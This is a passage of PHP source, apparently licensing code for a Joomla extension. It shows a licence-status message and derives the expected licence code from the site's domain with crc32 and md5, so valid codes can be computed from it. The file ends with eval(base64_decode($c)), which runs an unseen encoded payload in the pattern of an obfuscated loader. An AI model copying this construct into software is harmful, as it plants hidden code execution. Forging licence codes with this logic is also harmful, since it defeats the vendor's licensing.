';
$html[] = '
'.$text.'';
if ( $ext->state != 3 ) {
$html[] = '
'.JText::_( '-There are no limitations in functionality' );
$html[] = '
('.JText::_( '-Purchase License code' ).'';
if ( $ext->host && $ext->host != 'localhost' && $ext->host != '127.0.0.1' ) {
$html[] = ' '.JText::sprintf( '-for your domain', $ext->host );
}$html[] = ')';
}$html[] = '
';
return implode( '', $html );
}}if( !function_exists( 'NoNumber_License_getState' ) ) {
function NoNumber_License_getState( &$ext )
{
if ( isset( $ext->code ) ) {
$ext->codes = array( $ext->code, '' );
}$ext->codes[0] = preg_replace( '#[^a-z0-9]#i', '', $ext->codes[0] );
$ext->codes[1] = preg_replace( '#[^a-z0-9]#i', '', $ext->codes[1] );
if ( isset( $ext->code ) ) {
$ext->code = $ext->codes[0];
}$state = 0;
if ( $ext->codes[0] || $ext->codes[1] ) {
$state = 1;
if ( $ext->host == 'localhost' || $ext->host == '127.0.0.1' ) {
$state = 2;
}else {
if ( !( strpos( $ext->host, '.' ) === false ) ) {
$host_array = explode( '.', $ext->host );
if ( count( $host_array ) > 1 ) {
$slds = 'ac city co edu gov law ltd me med mil mod net nhs nic nom org parliament plc police pub sch school';
$host = array();
$host[] = array_pop( $host_array );
$host[] = array_pop( $host_array );
if ( in_array( $host['1'], explode( ' ', $slds ) ) ) {
$host[] = array_pop( $host_array );
}$ext->host = implode( '.', array_reverse( $host ) );
}}$keys = array();
$keys[0] = sprintf( "%u", crc32( md5( $ext->host.'::'.$ext->alias ) ) );
$keys[1] = sprintf( "%u", crc32( md5( $ext->host.'::all' ) ) );
if ( $ext->codes[0] == $keys[0] || $ext->codes[1] == $keys[1] ) {
$state = 3;
}}}$ext->state = $state;
}}eval( base64_decode( $c ) );